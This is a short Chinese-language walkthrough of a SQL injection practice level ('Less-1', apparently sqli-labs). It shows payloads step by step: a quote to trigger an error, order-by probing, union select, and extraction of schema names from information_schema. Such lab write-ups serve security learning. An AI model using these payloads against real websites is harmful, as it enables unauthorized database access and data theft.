Less-1

?id=1'

报错:

 near ''1'' LIMIT 0,1' at line 1

推断查询语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

构造注入语句: 用单引号闭合 id=’的前单引号 用–+ 闭合 id=’‘的后单引号

?id=1'order by 1 --+ 
$sql="SELECT * FROM users WHERE id='1'order by 1 --+ ' LIMIT 0,1";

查看有多少字段,当输入到 4 的时候报错,说明存在 3 个字段

?id=1'order by 4 --+

联合查询 union

?id=1' union select 1,2,3 --+

正常显示,猜测函数 mysql_fetch_array 只被调用了一次,而 mysql_fetch_array() 函数从结果集中取得一行作为关联数组,即只显示一行数据。
那么我们只要让第一行查询的结果是空集(即 union 左边的 select 子句查询结果为空),那么我们 union 右边的查询结果自然就成为了第一行,就打印在网页上了,这个 id 他一般传的是数字,而且一般都是从 1 开始自增的,我们可以把 id 值设为非正数(负数或 0),浮点数,字符型或字符串,即设置为数据库中查询不到的 id 值。

?id=-1' union select 1,2,3 --+

查询数据库:

?id=-1' union select 1,2, (select group_concat(schema_name) from information_schema.schemata) -- +